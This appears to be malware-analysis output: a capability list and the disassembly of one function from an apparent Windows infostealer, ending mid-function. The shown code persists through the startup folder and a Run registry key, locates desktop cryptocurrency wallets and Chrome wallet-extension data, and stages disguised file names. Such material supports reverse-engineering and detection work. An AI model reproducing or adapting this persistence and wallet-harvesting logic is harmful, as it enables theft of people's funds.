Function at 0x140006fc0
Capabilities:
Copy file
Download url
Get common file path
Get startup folder
Persist via run registry key
Receive data
Set registry value
Terminate process
Write file to startup folder

Disassembly:
push rbp
push rbx
lea rbp, [rsp - 0xba8]
sub rsp, 0xca8
mov rax, qword [0x140043040]
xor rax, rsp
mov qword [rbp + 0xb80], rax
mov r8d, 0x104
lea rdx, [rbp + 0x760]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
jne 0x140007040
lea rdx, str.Error:_No_se_pudo_obtener_la_ruta_del_ejecutable.
lea rcx, [0x1400448a0]
call fcn.14000a2c0
mov dl, 0xa
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call fcn.14000c4a0
movzx edx, al
mov rcx, rbx
call fcn.14000c2f0
mov rcx, rbx
call fcn.14000c190
mov eax, 1
jmp 0x1400096c3
mov qword [rsp + 0xcc8], rdi
lea rax, [rbp + 0x760]
xor edi, edi
xorps xmm0, xmm0
mov rbx, 0xffffffffffffffff
mov qword [rbp + 0x210], rdi
mov qword [rbp + 0x218], rdi
mov r8, rbx
movups xmmword [rbp + 0x200], xmm0
inc r8
cmp word [rax + r8*2], di
jne 0x140007073
mov qword [rsp + 0xcc0], rsi
lea rdx, [rbp + 0x760]
mov qword [rsp + 0xcd0], r12
lea rcx, [rbp + 0x200]
mov qword [rsp + 0xca0], r13
mov qword [rsp + 0xc98], r14
mov qword [rsp + 0xc90], r15
call fcn.1400036b0
xor r9d, r9d
lea rax, [rbp + 0x970]
xor r8d, r8d
mov qword [rsp + 0x20], rax
xor ecx, ecx
lea edx, [r9 + 7]
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
je 0x140007119
lea rdx, str.Error:_No_se_pudo_obtener_la_ruta_del_directorio_de_inicio.
lea rcx, [0x1400448a0]
call fcn.14000a2c0
mov dl, 0xa
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call fcn.14000c4a0
movzx edx, al
mov rcx, rbx
call fcn.14000c2f0
mov rcx, rbx
call fcn.14000c190
jmp 0x1400074f2
xorps xmm0, xmm0
mov qword [rbp + 0x260], rdi
movups xmmword [rbp + 0x250], xmm0
mov qword [rbp + 0x268], rdi
lea rax, [rbp + 0x970]
mov r8, rbx
nop dword [rax + rax]
inc r8
cmp word [rax + r8*2], di
jne 0x140007140
lea rdx, [rbp + 0x970]
lea rcx, [rbp + 0x250]
call fcn.1400036b0
cmp qword [rbp + 0x218], 7
lea rcx, [rbp + 0x200]
cmova rcx, qword [rbp + 0x200]
call qword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
xorps xmm0, xmm0
mov qword [rbp + 0x1d0], rdi
movups xmmword [rbp + 0x1c0], xmm0
mov qword [rbp + 0x1d8], rdi
inc rbx
cmp word [rax + rbx*2], di
jne 0x140007192
mov r8, rbx
lea rcx, [rbp + 0x1c0]
mov rdx, rax
call fcn.1400036b0
mov r14, qword [rbp + 0x260]
movabs rcx, 0x7ffffffffffffffe
mov rax, rcx
sub rax, r14
cmp rax, 1
jb 0x1400096e4
mov r13, qword [rbp + 0x268]
lea r15, [rbp + 0x250]
mov r12, qword [rbp + 0x250]
lea rsi, [r14 + 1]
cmp r13, 7
mov qword [rbp + 0x170], rdi
mov ebx, 7
mov qword [rbp + 0x178], rdi
cmova r15, r12
lea rdi, [rbp + 0x160]
xorps xmm0, xmm0
movabs rax, 0x7fffffffffffffff
movups xmmword [rbp + 0x160], xmm0
lea edx, [rbx + 3]
cmp rsi, rbx
jbe 0x14000729e
mov rbx, rsi
or rbx, 7
cmp rbx, rcx
jbe 0x14000723a
mov rbx, rcx
lea rcx, [rax + rax]
jmp 0x14000725a
cmp rbx, rdx
cmovb rbx, rdx
lea rcx, [rbx + 1]
cmp rcx, rax
ja 0x1400096f0
add rcx, rcx
cmp rcx, 0x1000
jb 0x140007286
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400096f0
mov rcx, rax
call fcn.140012658
test rax, rax
je 0x1400096ea
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140007297
test rcx, rcx
je 0x140007292
call fcn.140012658
jmp 0x140007294
xor eax, eax
mov rdi, rax
mov qword [rbp + 0x160], rdi
mov qword [rbp + 0x178], rbx
mov rdx, r15
lea rbx, [r14 + r14]
mov qword [rbp + 0x170], rsi
mov r8, rbx
mov rcx, rdi
call fcn.14002e430
mov eax, dword [0x14003bcfc]
lea rdx, [rbp + 0x1c0]
mov word [rbx + rdi], ax
lea rcx, [rbp + 0x160]
xor r15d, r15d
mov word [rdi + rsi*2], r15w
cmp qword [rbp + 0x1d8], 7
mov r8, qword [rbp + 0x1d0]
cmova rdx, qword [rbp + 0x1c0]
call fcn.140009880
mov qword [rbp + 0x1b0], r15
xorps xmm0, xmm0
movups xmmword [rbp + 0x1a0], xmm0
mov qword [rbp + 0x1b8], r15
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1a0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1b0], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 7
mov word [rax], r15w
mov rdx, qword [rbp + 0x178]
cmp rdx, 7
jbe 0x14000737d
mov rcx, qword [rbp + 0x160]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007378
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400096ea
call fcn.140012650
cmp qword [rbp + 0x1b8], 7
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x200]
cmova rdx, qword [rbp + 0x1a0]
cmp qword [rbp + 0x218], 7
cmova rcx, qword [rbp + 0x200]
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
jne 0x140007541
lea rdx, str.Error:_No_se_pudo_copiar_el_programa_al_directorio_de_inicio.
lea rcx, [0x1400448a0]
call fcn.14000a2c0
mov dl, 0xa
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call fcn.14000c4a0
movzx edx, al
mov rcx, rbx
call fcn.14000c2f0
mov rcx, rbx
call fcn.14000c190
mov rdx, qword [rbp + 0x1b8]
cmp rdx, 7
jbe 0x14000743c
mov rcx, qword [rbp + 0x1a0]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007437
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400097a3
call fcn.140012650
mov rdx, qword [rbp + 0x1d8]
mov qword [rbp + 0x1b0], r15
mov qword [rbp + 0x1b8], 7
mov word [rbp + 0x1a0], r15w
cmp rdx, 7
jbe 0x14000749c
mov rcx, qword [rbp + 0x1c0]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007497
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400097a3
call fcn.140012650
mov qword [rbp + 0x1d0], r15
mov qword [rbp + 0x1d8], 7
mov word [rbp + 0x1c0], r15w
cmp r13, 7
jbe 0x1400074f2
lea rdx, [r13*2 + 2]
mov rax, r12
cmp rdx, 0x1000
jb 0x1400074ea
mov r12, qword [r12 - 8]
add rdx, 0x27
sub rax, r12
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400097a3
mov rcx, r12
call fcn.140012650
mov rdx, qword [rbp + 0x218]
cmp rdx, 7
jbe 0x14000968e
mov rcx, qword [rbp + 0x200]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007537
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400097a3
call fcn.140012650
jmp 0x14000968e
lea rax, [rbp + 0xf0]
mov r9d, 0x20006
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140009609
mov eax, dword [rbp + 0x1b0]
lea rcx, [rbp + 0x1a0]
add eax, eax
lea rdx, [rbp + 0x1c0]
cmp qword [rbp + 0x1b8], 7
mov r9d, 1
mov dword [rsp + 0x28], eax
cmova rcx, qword [rbp + 0x1a0]
cmp qword [rbp + 0x1d8], 7
mov qword [rsp + 0x20], rcx
cmova rdx, qword [rbp + 0x1c0]
xor r8d, r8d
mov rcx, qword [rbp + 0xf0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp + 0xf0]
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebx, ebx
jne 0x140009600
lea rdx, str.Programa_agregado_al_inicio_correctamente.
lea rcx, [0x140044770]
call fcn.140009fc0
mov dl, 0xa
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call fcn.14000c7e0
movzx edx, ax
mov rcx, rbx
call fcn.14000c630
mov rcx, rbx
call fcn.14000c190
lea rdx, str.Programa_agregado_al_inicio_y_copiado_al_directorio_de_inicio_correctamente.
lea rcx, [0x140044770]
call fcn.140009fc0
mov rcx, rax
call fcn.14000a280
lea rcx, str.APPDATA
call fcn.140019bb4
mov rdx, rax
lea rcx, [rbp + 0x1e0]
call fcn.140002f10
lea rcx, str.LOCALAPPDATA
call fcn.140019bb4
mov rdx, rax
lea rcx, [rbp + 0x180]
call fcn.140002f10
lea rdx, str.Exodus
lea rcx, [rbp + 0x140]
call fcn.14000ad30
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0x220]
call fcn.14000a980
mov rdx, rax
lea r8, [rbp + 0x140]
lea rcx, [rbp + 0x2d0]
call fcn.140003e40
lea rcx, [rbp + 0x220]
call fcn.140003400
lea rcx, [rbp + 0x140]
call fcn.140003400
lea rcx, [rbp + 0x140]
call fcn.14000ad90
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0x220]
call fcn.14000a980
mov rdx, rax
lea r8, [rbp + 0x140]
lea rcx, [rbp + 0x2b0]
call fcn.140003e40
lea rcx, [rbp + 0x220]
call fcn.140003400
lea rcx, [rbp + 0x140]
call fcn.140003400
lea rdx, str.atomic
lea rcx, [rbp + 0x140]
call fcn.14000ad30
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0x220]
call fcn.14000a980
mov rdx, rax
lea r8, [rbp + 0x140]
lea rcx, [rbp + 0x290]
call fcn.140003e40
lea rcx, [rbp + 0x220]
call fcn.140003400
lea rcx, [rbp + 0x140]
call fcn.140003400
lea rdx, str.Guarda
lea rcx, [rbp + 0x140]
call fcn.14000ad30
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0x220]
call fcn.14000a980
mov rdx, rax
lea r8, [rbp + 0x140]
lea rcx, [rbp + 0x270]
call fcn.140003e40
lea rcx, [rbp + 0x220]
call fcn.140003400
lea rcx, [rbp + 0x140]
call fcn.140003400
lea rdx, str.Coinomi
lea rcx, [rbp + 0x140]
call fcn.14000ad30
lea rdx, [rbp + 0x180]
lea rcx, [rbp + 0x220]
call fcn.14000a980
mov rdx, rax
lea r8, [rbp + 0x140]
lea rcx, [rbp + 0x4b0]
call fcn.140003e40
lea rcx, [rbp + 0x220]
call fcn.140003400
lea rcx, [rbp + 0x140]
call fcn.140003400
lea rcx, [rbp + 0x140]
call fcn.14000add0
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0x220]
call fcn.14000a980
mov rdx, rax
lea r8, [rbp + 0x140]
lea rcx, [rbp + 0x490]
call fcn.140003e40
lea rcx, [rbp + 0x220]
call fcn.140003400
lea rcx, [rbp + 0x140]
call fcn.140003400
lea rcx, [rbp + 0x140]
call fcn.14000ae10
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0x220]
call fcn.14000a980
mov rdx, rax
lea r8, [rbp + 0x140]
lea rcx, [rbp + 0x470]
call fcn.140003e40
lea rcx, [rbp + 0x220]
call fcn.140003400
lea rcx, [rbp + 0x140]
call fcn.140003400
lea rax, str.bitbox
mov qword [rbp + 0xf8], 6
mov qword [rbp + 0xf0], rax
call fcn.14000db64
movaps xmm0, xmmword [rbp + 0xf0]
lea r8, [rbp + 0xf0]
mov edx, eax
movdqa xmmword [rbp + 0xf0], xmm0
lea rcx, [rbp + 0x120]
call fcn.1400037e0
cmp qword [rbp + 0x1f8], 0xf
lea rax, [rbp + 0x1e0]
cmova rax, qword [rbp + 0x1e0]
mov qword [rbp + 0xf0], rax
mov rax, qword [rbp + 0x1f0]
mov qword [rbp + 0xf8], rax
call fcn.14000db64
movaps xmm0, xmmword [rbp + 0xf0]
lea r8, [rbp + 0xf0]
mov edx, eax
movdqa xmmword [rbp + 0xf0], xmm0
lea rcx, [rbp + 0x100]
call fcn.1400037e0
lea rdx, [rbp + 0x100]
lea rcx, [rbp + 0x330]
call fcn.140009910
lea rdx, [rbp + 0x120]
lea rcx, [rbp + 0x330]
call fcn.140003a40
mov rdx, qword [rbp + 0x118]
cmp rdx, 7
jbe 0x1400079a3
mov rcx, qword [rbp + 0x100]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000799e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400096f6
call fcn.140012650
mov rdx, qword [rbp + 0x138]
mov qword [rbp + 0x110], r15
mov qword [rbp + 0x118], 7
mov word [rbp + 0x100], r15w
cmp rdx, 7
jbe 0x140007a03
mov rcx, qword [rbp + 0x120]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400079fe
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400096f6
call fcn.140012650
lea rax, str._trezor
mov qword [rbp + 0xf8], 7
mov qword [rbp + 0xf0], rax
call fcn.14000db64
movaps xmm0, xmmword [rbp + 0xf0]
lea r8, [rbp + 0xf0]
mov edx, eax
movdqa xmmword [rbp + 0xf0], xmm0
lea rcx, [rbp + 0x120]
call fcn.1400037e0
cmp qword [rbp + 0x1f8], 0xf
lea rax, [rbp + 0x1e0]
cmova rax, qword [rbp + 0x1e0]
mov qword [rbp + 0xf0], rax
mov rax, qword [rbp + 0x1f0]
mov qword [rbp + 0xf8], rax
call fcn.14000db64
movaps xmm0, xmmword [rbp + 0xf0]
lea r8, [rbp + 0xf0]
mov edx, eax
movdqa xmmword [rbp + 0xf0], xmm0
lea rcx, [rbp + 0x100]
call fcn.1400037e0
lea rdx, [rbp + 0x100]
lea rcx, [rbp + 0x3f0]
call fcn.140009910
lea rdx, [rbp + 0x120]
lea rcx, [rbp + 0x3f0]
call fcn.140003a40
mov rdx, qword [rbp + 0x118]
cmp rdx, 7
jbe 0x140007b06
mov rcx, qword [rbp + 0x100]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007b01
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400096fc
call fcn.140012650
mov rdx, qword [rbp + 0x138]
mov qword [rbp + 0x110], r15
mov qword [rbp + 0x118], 7
mov word [rbp + 0x100], r15w
cmp rdx, 7
jbe 0x140007b66
mov rcx, qword [rbp + 0x120]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007b61
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400096fc
call fcn.140012650
lea rax, str.Google_Chrome_User_Data_Default_Local_Extension_Settings_nkbihfbeogaeaoehlefnkodbefgpgknn
mov qword [rbp + 0xf8], 0x59
mov qword [rbp + 0xf0], rax
call fcn.14000db64
movaps xmm0, xmmword [rbp + 0xf0]
lea r8, [rbp + 0xf0]
mov edx, eax
movdqa xmmword [rbp + 0xf0], xmm0
lea rcx, [rbp + 0x120]
call fcn.1400037e0
cmp qword [rbp + 0x198], 0xf
lea rax, [rbp + 0x180]
cmova rax, qword [rbp + 0x180]
mov qword [rbp + 0xf0], rax
mov rax, qword [rbp + 0x190]
mov qword [rbp + 0xf8], rax
call fcn.14000db64
movaps xmm0, xmmword [rbp + 0xf0]
lea r8, [rbp + 0xf0]
mov edx, eax
movdqa xmmword [rbp + 0xf0], xmm0
lea rcx, [rbp + 0x100]
call fcn.1400037e0
lea rdx, [rbp + 0x100]
lea rcx, [rbp + 0x3d0]
call fcn.140009910
lea rdx, [rbp + 0x120]
lea rcx, [rbp + 0x3d0]
call fcn.140003a40
mov rdx, qword [rbp + 0x118]
cmp rdx, 7
jbe 0x140007c69
mov rcx, qword [rbp + 0x100]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007c64
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009702
call fcn.140012650
mov rdx, qword [rbp + 0x138]
mov qword [rbp + 0x110], r15
mov qword [rbp + 0x118], 7
mov word [rbp + 0x100], r15w
cmp rdx, 7
jbe 0x140007cc9
mov rcx, qword [rbp + 0x120]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007cc4
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009702
call fcn.140012650
lea rax, str.Google_Chrome_User_Data_Default_Local_Extension_Settings_egjidjbpglichdcondbcbdnbeeppgdph
mov qword [rbp + 0xf8], 0x59
mov qword [rbp + 0xf0], rax
call fcn.14000db64
movaps xmm0, xmmword [rbp + 0xf0]
lea r8, [rbp + 0xf0]
mov edx, eax
movdqa xmmword [rbp + 0xf0], xmm0
lea rcx, [rbp + 0x120]
call fcn.1400037e0
cmp qword [rbp + 0x198], 0xf
lea rax, [rbp + 0x180]
cmova rax, qword [rbp + 0x180]
mov qword [rbp + 0xf0], rax
mov rax, qword [rbp + 0x190]
mov qword [rbp + 0xf8], rax
call fcn.14000db64
movaps xmm0, xmmword [rbp + 0xf0]
lea r8, [rbp + 0xf0]
mov edx, eax
movdqa xmmword [rbp + 0xf0], xmm0
lea rcx, [rbp + 0x100]
call fcn.1400037e0
lea rdx, [rbp + 0x100]
lea rcx, [rbp + 0x3b0]
call fcn.140009910
lea rdx, [rbp + 0x120]
lea rcx, [rbp + 0x3b0]
call fcn.140003a40
mov rdx, qword [rbp + 0x118]
cmp rdx, 7
jbe 0x140007dcc
mov rcx, qword [rbp + 0x100]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007dc7
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009708
call fcn.140012650
mov rdx, qword [rbp + 0x138]
mov qword [rbp + 0x110], r15
mov qword [rbp + 0x118], 7
mov word [rbp + 0x100], r15w
cmp rdx, 7
jbe 0x140007e2c
mov rcx, qword [rbp + 0x120]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007e27
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009708
call fcn.140012650
lea rax, str.Google_Chrome_User_Data_Default_Local_Extension_Settings_nodbonhfcfincplmohomaonhakjgjdfe
mov qword [rbp + 0xf8], 0x59
mov qword [rbp + 0xf0], rax
call fcn.14000db64
movaps xmm0, xmmword [rbp + 0xf0]
lea r8, [rbp + 0xf0]
mov edx, eax
movdqa xmmword [rbp + 0xf0], xmm0
lea rcx, [rbp + 0x120]
call fcn.1400037e0
cmp qword [rbp + 0x198], 0xf
lea rax, [rbp + 0x180]
cmova rax, qword [rbp + 0x180]
mov qword [rbp + 0xf0], rax
mov rax, qword [rbp + 0x190]
mov qword [rbp + 0xf8], rax
call fcn.14000db64
movaps xmm0, xmmword [rbp + 0xf0]
lea r8, [rbp + 0xf0]
mov edx, eax
movdqa xmmword [rbp + 0xf0], xmm0
lea rcx, [rbp + 0x100]
call fcn.1400037e0
lea rdx, [rbp + 0x100]
lea rcx, [rbp + 0x390]
call fcn.140009910
lea rdx, [rbp + 0x120]
lea rcx, [rbp + 0x390]
call fcn.140003a40
mov rdx, qword [rbp + 0x118]
cmp rdx, 7
jbe 0x140007f2f
mov rcx, qword [rbp + 0x100]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007f2a
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000970e
call fcn.140012650
mov rdx, qword [rbp + 0x138]
mov qword [rbp + 0x110], r15
mov qword [rbp + 0x118], 7
mov word [rbp + 0x100], r15w
cmp rdx, 7
jbe 0x140007f8f
mov rcx, qword [rbp + 0x120]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007f8a
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000970e
call fcn.140012650
lea rax, str.Google_Chrome_User_Data_Default_Local_Extension_Settings_hifafgmccdpekplomjjkcfgodnhcellj
mov qword [rbp + 0xf8], 0x59
mov qword [rbp + 0xf0], rax
call fcn.14000db64
movaps xmm0, xmmword [rbp + 0xf0]
lea r8, [rbp + 0xf0]
mov edx, eax
movdqa xmmword [rbp + 0xf0], xmm0
lea rcx, [rbp + 0x120]
call fcn.1400037e0
cmp qword [rbp + 0x198], 0xf
lea rax, [rbp + 0x180]
cmova rax, qword [rbp + 0x180]
mov qword [rbp + 0xf0], rax
mov rax, qword [rbp + 0x190]
mov qword [rbp + 0xf8], rax
call fcn.14000db64
movaps xmm0, xmmword [rbp + 0xf0]
lea r8, [rbp + 0xf0]
mov edx, eax
movdqa xmmword [rbp + 0xf0], xmm0
lea rcx, [rbp + 0x100]
call fcn.1400037e0
lea rdx, [rbp + 0x100]
lea rcx, [rbp + 0x370]
call fcn.140009910
lea rdx, [rbp + 0x120]
lea rcx, [rbp + 0x370]
call fcn.140003a40
mov rdx, qword [rbp + 0x118]
cmp rdx, 7
jbe 0x140008092
mov rcx, qword [rbp + 0x100]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000808d
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009714
call fcn.140012650
mov rdx, qword [rbp + 0x138]
mov qword [rbp + 0x110], r15
mov qword [rbp + 0x118], 7
mov word [rbp + 0x100], r15w
cmp rdx, 7
jbe 0x1400080f2
mov rcx, qword [rbp + 0x120]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400080ed
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009714
call fcn.140012650
cmp qword [rbp + 0x2e8], 7
lea rsi, [rbp + 0x2d0]
mov rdi, qword [rbp + 0x2e0]
cmova rsi, qword [rbp + 0x2d0]
call fcn.14000db64
mov qword [rsp + 0x60], r15
xorps xmm0, xmm0
mov qword [rsp + 0x68], 0xf
mov r14d, eax
movups xmmword [rsp + 0x50], xmm0
mov byte [rsp + 0x50], r15b
test rdi, rdi
je 0x1400081ab
cmp rdi, 0x7fffffff
ja 0x14000971a
xor r9d, r9d
mov dword [rsp + 0x20], r15d
mov r8d, edi
mov rdx, rsi
mov ecx, eax
call fcn.14000dbd4
mov rcx, rax
mov rbx, rax
shr rcx, 0x20
test ecx, ecx
jne 0x140009720
movsxd rdx, ebx
lea rcx, [rsp + 0x50]
xor r8d, r8d
call fcn.14000c970
cmp qword [rsp + 0x68], 0xf
lea r9, [rsp + 0x50]
mov r8d, edi
mov dword [rsp + 0x20], ebx
cmova r9, qword [rsp + 0x50]
mov rdx, rsi
mov ecx, r14d
call fcn.14000dbd4
shr rax, 0x20
test eax, eax
jne 0x140009726
cmp qword [rbp + 0x2c8], 7
lea rsi, [rbp + 0x2b0]
mov rdi, qword [rbp + 0x2c0]
cmova rsi, qword [rbp + 0x2b0]
call fcn.14000db64
mov qword [rbp - 0x80], r15
xorps xmm0, xmm0
mov qword [rbp - 0x78], 0xf
mov r14d, eax
movups xmmword [rsp + 0x70], xmm0
mov byte [rsp + 0x70], r15b
test rdi, rdi
je 0x140008261
cmp rdi, 0x7fffffff
ja 0x14000972e
xor r9d, r9d
mov dword [rsp + 0x20], r15d
mov r8d, edi
mov rdx, rsi
mov ecx, eax
call fcn.14000dbd4
mov rcx, rax
mov rbx, rax
shr rcx, 0x20
test ecx, ecx
jne 0x140009734
movsxd rdx, ebx
lea rcx, [rsp + 0x70]
xor r8d, r8d
call fcn.14000c970
cmp qword [rbp - 0x78], 0xf
lea r9, [rsp + 0x70]
mov r8d, edi
mov dword [rsp + 0x20], ebx
cmova r9, qword [rsp + 0x70]
mov rdx, rsi
mov ecx, r14d
call fcn.14000dbd4
shr rax, 0x20
test eax, eax
jne 0x14000973a
cmp qword [rbp + 0x2a8], 7
lea rsi, [rbp + 0x290]
mov rdi, qword [rbp + 0x2a0]
cmova rsi, qword [rbp + 0x290]
call fcn.14000db64
mov qword [rbp - 0x60], r15
xorps xmm0, xmm0
mov qword [rbp - 0x58], 0xf
mov r14d, eax
movups xmmword [rbp - 0x70], xmm0
mov byte [rbp - 0x70], r15b
test rdi, rdi
je 0x140008312
cmp rdi, 0x7fffffff
ja 0x140009742
xor r9d, r9d
mov dword [rsp + 0x20], r15d
mov r8d, edi
mov rdx, rsi
mov ecx, eax
call fcn.14000dbd4
mov rcx, rax
mov rbx, rax
shr rcx, 0x20
test ecx, ecx
jne 0x140009748
movsxd rdx, ebx
lea rcx, [rbp - 0x70]
xor r8d, r8d
call fcn.14000c970
cmp qword [rbp - 0x58], 0xf
lea r9, [rbp - 0x70]
mov r8d, edi
mov dword [rsp + 0x20], ebx
cmova r9, qword [rbp - 0x70]
mov rdx, rsi
mov ecx, r14d
call fcn.14000dbd4
shr rax, 0x20
test eax, eax
jne 0x14000974e
cmp qword [rbp + 0x288], 7
lea rsi, [rbp + 0x270]
mov rdi, qword [rbp + 0x280]
cmova rsi, qword [rbp + 0x270]
call fcn.14000db64
mov qword [rbp - 0x40], r15
xorps xmm0, xmm0
mov qword [rbp - 0x38], 0xf
mov r14d, eax
movups xmmword [rbp - 0x50], xmm0
mov byte [rbp - 0x50], r15b
test rdi, rdi
je 0x1400083c3
cmp rdi, 0x7fffffff
ja 0x140009756
xor r9d, r9d
mov dword [rsp + 0x20], r15d
mov r8d, edi
mov rdx, rsi
mov ecx, eax
call fcn.14000dbd4
mov rcx, rax
mov rbx, rax
shr rcx, 0x20
test ecx, ecx
jne 0x14000975c
movsxd rdx, ebx
lea rcx, [rbp - 0x50]
xor r8d, r8d
call fcn.14000c970
cmp qword [rbp - 0x38], 0xf
lea r9, [rbp - 0x50]
mov r8d, edi
mov dword [rsp + 0x20], ebx
cmova r9, qword [rbp - 0x50]
mov rdx, rsi
mov ecx, r14d
call fcn.14000dbd4
shr rax, 0x20
test eax, eax
jne 0x140009762
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x4b0]
call fcn.140003d30
lea rdx, [rbp - 0x10]
lea rcx, [rbp + 0x490]
call fcn.140003d30
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x470]
call fcn.140003d30
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0x330]
call fcn.140003d30
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x3f0]
call fcn.140003d30
lea rdx, [rbp + 0x70]
lea rcx, [rbp + 0x3d0]
call fcn.140003d30
lea rdx, [rbp + 0x90]
lea rcx, [rbp + 0x3b0]
call fcn.140003d30
lea rdx, [rbp + 0xb0]
lea rcx, [rbp + 0x390]
call fcn.140003d30
lea rdx, [rbp + 0xd0]
lea rcx, [rbp + 0x370]
call fcn.140003d30
lea rax, [rsp + 0x50]
mov qword [rbp + 0xf0], rax
lea rcx, [rbp + 0xf0]
lea rax, [rbp + 0xf0]
mov qword [rbp + 0xf8], rax
call fcn.140005df0
mov edx, 0x20
lea r9, [fcn.140009a90]
lea rcx, [rsp + 0x50]
movzx ebx, al
lea r8d, [rdx - 0x13]
call fcn.140012694
test bl, bl
je 0x1400096dc
mov r8d, 0x104
lea rdx, [rbp + 0x650]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rdx, str.Runtimebroker_
lea rcx, [rbp + 0x220]
call fcn.140003670
lea rdx, [rbp + 0x650]
lea rcx, [rbp + 0x4d0]
call fcn.140002f10
lea rdx, str.AZcloud_dbg.exe
lea rcx, [rbp + 0x450]
call fcn.140003670
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0x350]
call fcn.14000a980
lea rdx, [rbp + 0x450]
lea rcx, [rbp + 0x350]
call fcn.14000ae50
lea rdx, [0x14003bcfc]
lea rcx, [rbp + 0x310]
call fcn.140003670
